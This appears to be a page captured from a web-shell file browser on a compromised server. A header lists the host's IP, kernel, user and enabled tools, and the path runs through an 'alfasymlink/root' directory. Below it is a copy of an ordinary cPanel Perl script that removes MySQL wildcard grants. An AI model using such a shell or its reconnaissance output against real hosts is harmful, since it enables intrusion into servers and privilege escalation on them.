Server IP : 92.204.138.22 / Your IP : 3.142.171.111 Web Server : Apache System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : internationaljou ( 1019) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/internationaljou/public_html/admin/js/BROKY_ADMIN/alfasymlink/root/scripts/ |
Upload File : |
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/killmysqlwildcard Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; use warnings; use Cpanel::Config::Users (); use Cpanel::MysqlUtils::Connect (); use Cpanel::MysqlUtils::Quote (); use Cpanel::Logger (); use Cpanel::DB::Utils (); my $logger = Cpanel::Logger->new(); my @cpusers = Cpanel::Config::Users::getcpusers(); my $dbh; if ( my $obj = eval { Cpanel::MysqlUtils::Connect->new() } ) { $dbh = $obj->db_handle(); } else { die "Failed to connect to MySQL: $@"; } foreach my $cpuser (@cpusers) { my $dbowner_name = Cpanel::DB::Utils::username_to_dbowner($cpuser); my $safe_name = Cpanel::MysqlUtils::Quote::quote("$dbowner_name\\_%"); $logger->info("Removing mysql wildcard grant from $cpuser"); $dbh->do("DELETE FROM mysql.db WHERE db = $safe_name;"); } $dbh->do('FLUSH PRIVILEGES;'); $dbh->disconnect();